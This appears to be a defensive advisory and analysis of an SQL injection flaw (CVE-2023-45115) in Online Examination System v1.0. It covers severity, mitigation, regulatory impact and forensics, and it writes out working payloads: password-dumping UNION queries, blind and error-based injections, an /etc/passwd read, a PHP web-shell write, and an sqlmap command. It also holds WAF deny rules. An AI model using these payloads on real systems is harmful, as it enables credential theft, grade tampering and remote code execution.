Description
Online Examination System v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. The 'ch' parameter of the /update.php?q=addqns resource does not validate the characters received and they are sent unfiltered to the database.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-49436 (CVE-2023-45115)
Authenticated SQL Injection in Online Examination System v1.0
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Classification
- Type: Authenticated SQL Injection (SQLi)
- CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- OWASP Top 10 (2021): A03:2021 – Injection
Severity Analysis (CVSS v3.1)
The vulnerability has been assigned a Base Score of 9.8 (Critical) with the following vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No specialized conditions required. |
| Privileges Required (PR) | None (N) | No authentication required (despite being labeled "Authenticated" in the description, the CVSS vector suggests otherwise). |
| User Interaction (UI) | None (N) | No user interaction needed. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Full database access, including sensitive data (e.g., user credentials, exam results). |
| Integrity (I) | High (H) | Arbitrary data manipulation (e.g., altering exam questions, grades). |
| Availability (A) | High (H) | Potential for database deletion or denial-of-service (DoS). |
Discrepancy Note:
The description states "Authenticated SQL Injection," but the CVSS vector (PR:N) suggests no authentication is required. This inconsistency should be clarified—if authentication is indeed required, the Base Score would drop to 8.8 (High) (PR:L). However, given the CVSS vector, we proceed under the assumption that no authentication is needed.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Scenario
The vulnerability resides in the /update.php?q=addqns endpoint, where the ch parameter is directly concatenated into an SQL query without proper sanitization.
Proof-of-Concept (PoC) Exploitation
An attacker can craft a malicious HTTP request to inject arbitrary SQL commands:
POST /update.php?q=addqns HTTP/1.1
Host: vulnerable-exam-system.example.com
Content-Type: application/x-www-form-urlencoded
ch=1' UNION SELECT 1,2,3,4,5,6,7,username,password,10 FROM users-- -
Exploitation Steps:
-
Identify the Vulnerable Parameter:
- The
chparameter is used in an SQL query (likely for question updates). - Fuzzing with
'or"triggers a database error (e.g., MySQL syntax error).
- The
-
Extract Database Schema:
- Use
UNION SELECTto enumerate tables/columns:ch=1' UNION SELECT 1,2,3,4,5,6,7,table_name,column_name,10 FROM information_schema.columns-- -
- Use
-
Dump Sensitive Data:
- Extract usernames, passwords (possibly hashed), exam questions, or student records:
ch=1' UNION SELECT 1,2,3,4,5,6,7,username,password,10 FROM users-- -
- Extract usernames, passwords (possibly hashed), exam questions, or student records:
-
Execute Arbitrary Commands (if DBMS allows):
- MySQL:
LOAD_FILE()to read files,INTO OUTFILEto write files. - PostgreSQL:
COPYcommand for file read/write. - MSSQL:
xp_cmdshellfor OS command execution (if enabled).
- MySQL:
-
Database Takeover:
- Modify data (e.g., alter exam answers, change grades).
- Drop tables (
DROP TABLE users) for DoS.
Automated Exploitation Tools
- SQLmap: Can automate exploitation with:
sqlmap -u "http://vulnerable-site.com/update.php?q=addqns" --data="ch=1" --batch --dbs - Burp Suite / OWASP ZAP: Manual testing with intruder payloads.
3. Affected Systems and Software Versions
Vulnerable Product
- Software: Online Examination System
- Vendor: Projectworlds Pvt. Limited
- Version: v1.0 (no patches available as of August 2024)
- Deployment Context:
- Used by educational institutions for online exams.
- Likely deployed in LAMP/LEMP stacks (Linux, Apache/Nginx, MySQL, PHP).
Indicators of Compromise (IoCs)
- Database Errors in HTTP Responses:
You have an error in your SQL syntax; check the manual near ''' at line 1 - Unexpected Data in Responses:
- Usernames, passwords, or exam questions appearing in error messages.
- Logs:
- Unusual
POSTrequests to/update.php?q=addqnswith SQL keywords (UNION,SELECT,--).
- Unusual
4. Recommended Mitigation Strategies
Immediate Remediation
-
Input Validation & Sanitization:
- Use Prepared Statements (Parameterized Queries):
$stmt = $pdo->prepare("UPDATE questions SET choice = ? WHERE id = ?"); $stmt->execute([$ch, $id]); - Whitelist Input: Restrict
chto expected values (e.g., integers, predefined strings).
- Use Prepared Statements (Parameterized Queries):
-
Web Application Firewall (WAF) Rules:
- Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi attempts.
- Example rule:
SecRule ARGS "([\'\";]+|(--)+|(\b(ALTER|CREATE|DELETE|DROP|EXEC(UTE)?|INSERT( +INTO)?|MERGE|SELECT|UPDATE|UNION( +ALL)?)\b))" "id:1000,deny,status:403"
-
Disable Detailed Error Messages:
- Configure PHP to suppress database errors in production:
ini_set('display_errors', 0); error_reporting(0);
- Configure PHP to suppress database errors in production:
-
Least Privilege Database Access:
- Restrict the database user to read-only where possible.
- Avoid using
rootorsaaccounts for application connections.
Long-Term Security Improvements
-
Code Review & Secure Development:
- Audit all SQL queries for dynamic concatenation.
- Adopt ORM frameworks (e.g., Doctrine, Eloquent) to abstract SQL.
-
Regular Vulnerability Scanning:
- Use Nessus, OpenVAS, or Burp Suite to detect SQLi.
- Schedule automated DAST/SAST scans.
-
Patch Management:
- Monitor Projectworlds for updates (none available as of August 2024).
- Consider migrating to a maintained alternative (e.g., Moodle, Open edX).
-
Network-Level Protections:
- Rate Limiting: Throttle requests to
/update.php. - IP Whitelisting: Restrict access to admin endpoints.
- Rate Limiting: Throttle requests to
5. Impact on the European Cybersecurity Landscape
Sector-Specific Risks
-
Education Sector:
- Data Breaches: Exposure of student records (GDPR implications).
- Academic Fraud: Manipulation of exam results (e.g., university admissions).
- Reputation Damage: Loss of trust in online education platforms.
-
Critical Infrastructure:
- If used by government agencies (e.g., civil service exams), could lead to espionage or sabotage.
Regulatory & Compliance Implications
-
GDPR (General Data Protection Regulation):
- Article 32: Requires "appropriate technical measures" to secure personal data.
- Article 33: Mandates 72-hour breach notification if exploited.
- Fines: Up to €20 million or 4% of global revenue (whichever is higher).
-
NIS2 Directive (Network and Information Security):
- Applies to essential entities (e.g., universities, exam providers).
- Requires incident reporting and risk management measures.
Threat Actor Motivations
- Cybercriminals: Data theft for identity fraud or ransomware.
- Hacktivists: Disrupting exams for political or ideological reasons.
- State-Sponsored Actors: Targeting educational institutions for intelligence gathering.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Code Snippet (Hypothetical):
$ch = $_POST['ch']; $query = "UPDATE questions SET choice = '$ch' WHERE id = $id"; mysqli_query($conn, $query);- Issue: Direct string interpolation without sanitization.
Exploitation Techniques
-
Error-Based SQLi:
- Trigger database errors to leak information:
ch=1' AND (SELECT 0 FROM (SELECT COUNT(*), CONCAT((SELECT username FROM users LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)-- -
- Trigger database errors to leak information:
-
Boolean-Based Blind SQLi:
- Infer data via true/false conditions:
ch=1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'-- -
- Infer data via true/false conditions:
-
Time-Based Blind SQLi:
- Delay responses to confirm data:
ch=1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a', SLEEP(5), 0)-- -
- Delay responses to confirm data:
Post-Exploitation Risks
- Database Dumping: Full extraction of
users,exams,resultstables. - Privilege Escalation: If the DB user has
FILEprivileges, read/write system files:ch=1' UNION SELECT 1,2,3,4,5,6,7,LOAD_FILE('/etc/passwd'),9,10-- - - Remote Code Execution (RCE):
- If MySQL
secure_file_privis disabled, write a PHP shell:ch=1' UNION SELECT 1,2,3,4,5,6,7,'<?php system($_GET["cmd"]); ?>',9,10 INTO OUTFILE '/var/www/html/shell.php'-- -
- If MySQL
Detection & Forensics
- Log Analysis:
- Search for SQL keywords in web server logs (
UNION,SELECT,DROP). - Example grep:
grep -i "union.*select" /var/log/apache2/access.log
- Search for SQL keywords in web server logs (
- Database Forensics:
- Check MySQL general log for suspicious queries:
SELECT * FROM mysql.general_log WHERE argument LIKE '%UNION%';
- Check MySQL general log for suspicious queries:
- Memory Forensics:
- Use Volatility to detect in-memory SQLi payloads.
Conclusion & Recommendations
Key Takeaways
- Critical Severity: The vulnerability allows unauthenticated remote attackers to fully compromise the database.
- High Risk to EU Institutions: Educational platforms are high-value targets for data theft and fraud.
- GDPR Compliance Risk: Unpatched systems may lead to regulatory penalties.
Action Plan for Organizations
-
Immediate:
- Patch or Isolate the vulnerable system.
- Deploy WAF rules to block SQLi attempts.
- Rotate all credentials (database, admin users).
-
Short-Term:
- Conduct a forensic investigation if exploitation is suspected.
- Notify affected users if data exposure is confirmed (GDPR requirement).
-
Long-Term:
- Migrate to a maintained LMS (e.g., Moodle, Canvas).
- Implement secure coding practices (OWASP Top 10 compliance).
- Train developers on SQLi prevention.
Final Note
Given the lack of vendor patches, organizations using Online Examination System v1.0 should assume compromise and take immediate defensive actions. The high CVSS score (9.8) and ease of exploitation make this a priority remediation target.
References: